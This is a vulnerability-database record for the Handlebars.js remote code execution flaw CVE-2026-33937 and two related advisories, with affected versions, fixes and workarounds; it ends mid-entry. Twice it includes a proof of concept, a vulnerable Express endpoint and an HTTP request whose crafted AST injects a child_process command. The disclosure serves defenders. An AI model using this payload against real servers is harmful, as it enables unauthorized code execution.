{"id":"CVE-2026-33937","aliases":["CLSA-2026-1782349135","CLSA-2026-1782435546","CLSA-2026-1785117463","CLSA-2026-1787070403","CLSA-2026-1792139237","DEBIAN-CVE-2026-33937","EUVD-2026-16848","GHSA-2w6w-674q-4c4q","GHSA-442j-39wm-28r2","GHSA-7rx3-28cr-v5wh","ROOT-APP-NPM-CVE-2026-33937","ROOT-APP-NPM-GHSA-7rx3-28cr-v5wh","UBUNTU-CVE-2026-33937"],"status":"published","title":"Handlebars.js has JavaScript Injection via AST Type Confusion","description":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a  `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.01907,"percentile":0.7991,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-1321","CWE-367","CWE-843","CWE-94"],"published":"2026-03-27T18:19:58Z","modified":"2026-10-28T02:31:14Z","exploits":[{"source":"pocgithub","id":"dinhvaren/cve-2026-33937","title":"dinhvaren/cve-2026-33937","date":"2026-03-28","url":"https://github.com/dinhvaren/cve-2026-33937"},{"source":"pocgithub","id":"EQSTLab/CVE-2026-33937","title":"EQSTLab/CVE-2026-33937","date":"2026-04-22","url":"https://github.com/EQSTLab/CVE-2026-33937"},{"source":"pocgithub","id":"garlic-wizard/CVE-2026-33937-for-DarkZeroReturns","title":"garlic-wizard/CVE-2026-33937-for-DarkZeroReturns","date":"2026-07-30","url":"https://github.com/garlic-wizard/CVE-2026-33937-for-DarkZeroReturns"},{"source":"pocgithub","id":"c0gnit00/CVE-2026-33937","title":"c0gnit00/CVE-2026-33937","date":"2026-08-03","url":"https://github.com/c0gnit00/CVE-2026-33937"}],"fixes":[{"ecosystem":"npm","package":"handlebars","fixed_in":["4.7.9"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"node-handlebars","fixed_in":["3:4.7.9-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"handlebars","fixed_in":["4.7.7-aikido.2","4.7.8-aikido.6","4.7.7-aikido.3","4.7.7-aikido.4","4.7.7-aikido.5"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/handlebars","fixed_in":["4.7.8-root.io.2","4.7.8-root.io.3","4.7.8-root.io.4","4.7.8-root.io.5","4.7.7-root.io.1","4.7.7-root.io.2","4.7.8-root.io.6","4.7.7-root.io.3","4.7.7-root.io.4","4.7.7-root.io.5"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"last_affected":"4.7.8"},{"fixed":"4.7.9"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"last_affected":"4.7.8"},{"fixed":"4.7.9"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.6.0"},{"last_affected":"4.7.8"},{"fixed":"4.7.9"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.7.7-tuxcare.0"},{"fixed":"4.7.7-tuxcare.1"}]}],"versions":["4.7.7"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.7.8-tuxcare.0"},{"fixed":"4.7.8-tuxcare.1"}]}],"versions":["4.7.8"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.8-tuxcare.0"},{"fixed":"3.0.8-tuxcare.3"}]}],"versions":["3.0.8","3.0.8-tuxcare.1","3.0.8-tuxcare.2"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0-tuxcare.0"},{"fixed":"2.0.0-tuxcare.5"}]}],"versions":["2.0.0","2.0.0-tuxcare.1","2.0.0-tuxcare.2","2.0.0-tuxcare.3","2.0.0-tuxcare.4"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.5.3-tuxcare.0"},{"fixed":"4.5.3-tuxcare.3"}]}],"versions":["4.5.3","4.5.3-tuxcare.1","4.5.3-tuxcare.2"],"bundled":6},{"source":"osv","ecosystem":"Debian:12","package":"node-handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3:4.7.10-1","3:4.7.7+~4.1.0-1","3:4.7.9-1","3:4.7.9-2","3:4.7.9-3","3:4.7.9-4","3:4.7.9-5","3:4.7.9-6"]},{"source":"osv","ecosystem":"Debian:13","package":"node-handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3:4.7.10-1","3:4.7.7+~4.1.0-1","3:4.7.9-1","3:4.7.9-2","3:4.7.9-3","3:4.7.9-4","3:4.7.9-5","3:4.7.9-6"]},{"source":"osv","ecosystem":"Debian:14","package":"node-handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3:4.7.9-1"}]}],"versions":["3:4.7.7+~4.1.0-1"]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.7.9"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.7.9"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.6.0"},{"fixed":"4.7.9"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.7.7-aikido.2"},{"fixed":"4.7.8-aikido.6"},{"fixed":"4.7.7-aikido.3"},{"fixed":"4.7.7-aikido.4"},{"fixed":"4.7.7-aikido.5"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.7.8-root.io.2"},{"fixed":"4.7.8-root.io.3"},{"fixed":"4.7.8-root.io.4"},{"fixed":"4.7.8-root.io.5"},{"fixed":"4.7.7-root.io.1"},{"fixed":"4.7.7-root.io.2"},{"fixed":"4.7.8-root.io.6"},{"fixed":"4.7.7-root.io.3"},{"fixed":"4.7.7-root.io.4"},{"fixed":"4.7.7-root.io.5"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.7.8-aikido.6"},{"fixed":"4.7.7-aikido.3"},{"fixed":"4.7.7-aikido.4"},{"fixed":"4.7.7-aikido.5"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.7.8-root.io.5"},{"fixed":"4.7.8-root.io.6"},{"fixed":"4.7.7-root.io.3"},{"fixed":"4.7.7-root.io.4"},{"fixed":"4.7.7-root.io.5"}]}]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"node-handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3:4.0.10-5"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3:4.1.0-1","3:4.5.3-1","3:4.7.2-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3:4.7.6+~4.1.0-2","3:4.7.7+~4.1.0-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3:4.7.7+~4.1.0-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3:4.7.7+~4.1.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3:4.7.7+~4.1.0-1","3:4.7.9-5"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3:4.7.7+~4.1.0-1"]}],"products":[{"vendor":"handlebars-lang","product":"handlebars.js"},{"vendor":"handlebarsjs","product":"handlebars"},{"vendor":"red hat","product":"cluster observability operator 1.5.0"},{"vendor":"red hat","product":"cryostat 4"},{"vendor":"red hat","product":"logging subsystem for red hat openshift"},{"vendor":"red hat","product":"red hat data grid 8"},{"vendor":"red hat","product":"red hat developer hub"},{"vendor":"red hat","product":"red hat enterprise linux 10"},{"vendor":"red hat","product":"red hat enterprise linux 7"},{"vendor":"red hat","product":"red hat enterprise linux 8"},{"vendor":"red hat","product":"red hat enterprise linux 9"},{"vendor":"red hat","product":"red hat openshift ai (rhoai)"},{"vendor":"red hat","product":"red hat openshift dev spaces"},{"vendor":"red hat","product":"red hat openshift dev spaces 3.27"},{"vendor":"red hat","product":"red hat process automation 7"}],"references":[{"url":"https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9","tags":["x_refsource_MISC","Release Notes","web","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33937","tags":["vdb-entry","x_refsource_REDHAT","advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452523","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33937.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:34342","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:10175","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33937","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-2w6w-674q-4c4q"},{"url":"https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-442j-39wm-28r2","tags":["web"]},{"url":"https://github.com/advisories/GHSA-442j-39wm-28r2"},{"url":"https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-7rx3-28cr-v5wh","tags":["web"]},{"url":"https://github.com/advisories/GHSA-765h-qjxv-5f44","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7rx3-28cr-v5wh"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33937.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-33937","tags":["advisory"]},{"url":"https://github.com/handlebars-lang/handlebars.js","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-33937","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33937","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-33937","title":"Handlebars.js has JavaScript Injection via AST Type Confusion","description":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a  `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.","status":"published","published":"2026-03-27T21:03:46.748Z","modified":"2026-09-04T12:04:45.273Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"adp"}],"cwes":["CWE-843","CWE-94","CWE-94"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-16848","description":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a  `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.","status":"published","published":"2026-03-27T21:03:46Z","modified":"2026-09-04T12:04:45Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:01:12.73639Z"}],"ghsa":[{"id":"GHSA-2w6w-674q-4c4q","title":"Handlebars.js has JavaScript Injection via AST Type Confusion","description":"## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) =\u003e {\n  let text = req.body.text;\n  let template = Handlebars.compile(text);\n  let result = template();\n  res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n  \"text\": {\n    \"type\": \"Program\",\n    \"body\": [\n      {\n        \"type\": \"MustacheStatement\",\n        \"path\": {\n          \"type\": \"PathExpression\",\n          \"data\": false,\n          \"depth\": 0,\n          \"parts\": [\"lookup\"],\n          \"original\": \"lookup\",\n          \"loc\": null\n        },\n        \"params\": [\n          {\n            \"type\": \"PathExpression\",\n            \"data\": false,\n            \"depth\": 0,\n            \"parts\": [],\n            \"original\": \"this\",\n            \"loc\": null\n          },\n          {\n            \"type\": \"NumberLiteral\",\n            \"value\": \"{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //\",\n            \"original\": 1,\n            \"loc\": null\n          }\n        ],\n        \"escaped\": true,\n        \"strip\": { \"open\": false, \"close\": false },\n        \"loc\": null\n      }\n    ]\n  }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a  `string`, never a plain object or JSON-deserialized value.\n  ```javascript\n  if (typeof templateInput !== 'string') {\n    throw new TypeError('Template must be a string');\n  }\n  ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are  pre-compiled at build time; `compile()` will be unavailable.","status":"published","published":"2026-03-27T18:19:58Z","modified":"2026-03-27T21:52:19Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94","CWE-843"],"updated_at":"2026-11-02T14:39:44.97342Z"},{"id":"GHSA-442j-39wm-28r2","title":"Handlebars.js has a Property Access Validation Bypass in container.lookup","description":"## Summary\n\nIn `lib/handlebars/runtime.js`, the `container.lookup()` function uses `container.lookupProperty()` as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (`depths[i][name]`). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that `lookupProperty` may perform.\n\nOnly relevant when the **compat** compile option is enabled (`{compat: true}`), which activates `depthedLookup` in `lib/handlebars/compiler/javascript-compiler.js`.\n\n## Description\n\nThe vulnerable code in `lib/handlebars/runtime.js` (lines 137–144):\n\n```javascript\nlookup: function (depths, name) {\n  const len = depths.length;\n  for (let i = 0; i \u003c len; i++) {\n    let result = depths[i] \u0026\u0026 container.lookupProperty(depths[i], name);\n    if (result != null) {\n      return depths[i][name];  // BUG: should be `return result;`\n    }\n  }\n},\n```\n\n`container.lookupProperty()` (lines 119–136) enforces `hasOwnProperty` checks and `resultIsAllowed()` prototype-access controls. However, `container.lookup()` only uses `lookupProperty` as a boolean gate — if the gate passes (`result != null`), it then performs an independent, raw `depths[i][name]` access that circumvents any transformation or wrapped value that `lookupProperty` may have returned.\n\n## Workarounds\n\n- Avoid enabling `{ compat: true }` when rendering templates that include untrusted data.\n- Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).","status":"published","published":"2026-03-29T15:16:37Z","modified":"2026-03-29T15:16:37Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"low"}],"cwes":["CWE-367"],"updated_at":"2026-11-02T14:39:44.97342Z"},{"id":"GHSA-7rx3-28cr-v5wh","title":"Handlebars.js has a Prototype Method Access Control Gap via Missing __lookupSetter__ Blocklist Entry","description":"## Summary\n\nThe prototype method blocklist in `lib/handlebars/internal/proto-access.js` blocks `constructor`, `__defineGetter__`, `__defineSetter__`, and `__lookupGetter__`, but omits the symmetric `__lookupSetter__`. This omission is only exploitable when the non-default runtime option `allowProtoMethodsByDefault: true` is explicitly set — in that configuration `__lookupSetter__` becomes accessible while its counterparts remain blocked, creating an inconsistent security boundary.\n\n`4.6.0` is the version that introduced `protoAccessControl` and the `allowProtoMethodsByDefault` runtime option.\n\n## Description\n\nIn `lib/handlebars/internal/proto-access.js`:\n\n```javascript\nconst methodWhiteList = Object.create(null);\nmethodWhiteList['constructor']      = false;\nmethodWhiteList['__defineGetter__'] = false;\nmethodWhiteList['__defineSetter__'] = false;\nmethodWhiteList['__lookupGetter__'] = false;\n// __lookupSetter__ intentionally blocked in CVE-2021-23383,\n// but omitted here — creating an asymmetric blocklist\n```\n\nAll four legacy accessor helpers (`__defineGetter__`, `__defineSetter__`, `__lookupGetter__`, `__lookupSetter__`) were involved in the exploit chain addressed by CVE-2021-23383. Three of the four were explicitly blocked; `__lookupSetter__` was left out.\n\nWhen `allowProtoMethodsByDefault: true` is set, any prototype method **not present** in `methodWhiteList` is permitted by default. Because `__lookupSetter__` is absent from the list, it passes the `checkWhiteList` check and is accessible in templates, while `__lookupGetter__` (its sibling) is correctly denied.\n\n## Workarounds\n\n- Do **not** set `allowProtoMethodsByDefault: true`. The default configuration is not affected.\n- If `allowProtoMethodsByDefault` must be enabled, ensure templates do not reference  `__lookupSetter__` through untrusted input.","status":"published","published":"2026-03-29T15:17:15Z","modified":"2026-03-29T15:17:16Z","cvss":[{"version":"3.1","score":4.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:39:44.97342Z"}],"nvd":[{"id":"CVE-2026-33937","description":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a  `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.","status":"published","published":"2026-03-27T21:17:27.417Z","modified":"2026-10-26T22:10:00.163Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-94","CWE-843"],"updated_at":"2026-11-02T14:12:11.678711Z"}],"osv":[{"id":"CVE-2026-33937","title":"Handlebars.js has JavaScript Injection via AST Type Confusion","description":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a  `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.","status":"published","published":"2026-03-27T21:03:46.748Z","modified":"2026-10-28T02:31:14.87642939Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-843","CWE-94"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"DEBIAN-CVE-2026-33937","description":"Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a  `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.","status":"published","published":"2026-03-27T21:17:27.417Z","modified":"2026-10-27T10:00:59.579139658Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:45:54.587575Z"},{"id":"GHSA-2w6w-674q-4c4q","title":"Handlebars.js has JavaScript Injection via AST Type Confusion","description":"## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) =\u003e {\n  let text = req.body.text;\n  let template = Handlebars.compile(text);\n  let result = template();\n  res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n  \"text\": {\n    \"type\": \"Program\",\n    \"body\": [\n      {\n        \"type\": \"MustacheStatement\",\n        \"path\": {\n          \"type\": \"PathExpression\",\n          \"data\": false,\n          \"depth\": 0,\n          \"parts\": [\"lookup\"],\n          \"original\": \"lookup\",\n          \"loc\": null\n        },\n        \"params\": [\n          {\n            \"type\": \"PathExpression\",\n            \"data\": false,\n            \"depth\": 0,\n            \"parts\": [],\n            \"original\": \"this\",\n            \"loc\": null\n          },\n          {\n            \"type\": \"NumberLiteral\",\n            \"value\": \"{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //\",\n            \"original\": 1,\n            \"loc\": null\n          }\n        ],\n        \"escaped\": true,\n        \"strip\": { \"open\": false, \"close\": false },\n        \"loc\": null\n      }\n    ]\n  }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a  `string`, never a plain object or JSON-deserialized value.\n  ```javascript\n  if (typeof templateInput !== 'string') {\n    throw new TypeError('Template must be a string');\n  }\n  ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are  pre-compiled at build time; `compile()` will be unavailable.","status":"published","published":"2026-03-27T18:19:58Z","modified":"2026-09-10T03:50:36.539490658Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-843","CWE-94"],"updated_at":"2026-11-02T15:46:34.700741Z"},{"id":"GHSA-442j-39wm-28r2","title":"Handlebars.js has a Property Access Validation Bypass in container.lookup","description":"## Summary\n\nIn `lib/handlebars/runtime.js`, the `container.lookup()` function uses `container.lookupProperty()` as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (`depths[i][name]`). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that `lookupProperty` may perform.\n\nOnly relevant when the **compat** compile option is enabled (`{compat: true}`), which activates `depthedLookup` in `lib/handlebars/compiler/javascript-compiler.js`.\n\n## Description\n\nThe vulnerable code in `lib/handlebars/runtime.js` (lines 137–144):\n\n```javascript\nlookup: function (depths, name) {\n  const len = depths.length;\n  for (let i = 0; i \u003c len; i++) {\n    let result = depths[i] \u0026\u0026 container.lookupProperty(depths[i], name);\n    if (result != null) {\n      return depths[i][name];  // BUG: should be `return result;`\n    }\n  }\n},\n```\n\n`container.lookupProperty()` (lines 119–136) enforces `hasOwnProperty` checks and `resultIsAllowed()` prototype-access controls. However, `container.lookup()` only uses `lookupProperty` as a boolean gate — if the gate passes (`result != null`), it then performs an independent, raw `depths[i][name]` access that circumvents any transformation or wrapped value that `lookupProperty` may have returned.\n\n## Workarounds\n\n- Avoid enabling `{ compat: true }` when rendering templates that include untrusted data.\n- Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).","status":"published","published":"2026-03-29T15:16:37Z","modified":"2026-09-10T03:50:36.874716263Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"low"}],"cwes":["CWE-367"],"updated_at":"2026-11-02T15:46:36.434231Z"},{"id":"GHSA-7rx3-28cr-v5wh","title":"Handlebars.js has a Prototype Method Access Control Gap via Missing __lookupSetter__ Blocklist Entry","description":"## Summary\n\nThe prototype method blocklist in `lib/handlebars/internal/proto-access.js` blocks `constructor`, `__defineGetter__`, `__defineSetter__`, and `__lookupGetter__`, but omits the symmetric `__lookupSetter__`. This omission is only exploitable when the non-default runtime option `allowProtoMethodsByDefault: true` is explicitly set — in that configuration `__lookupSetter__` becomes accessible while its 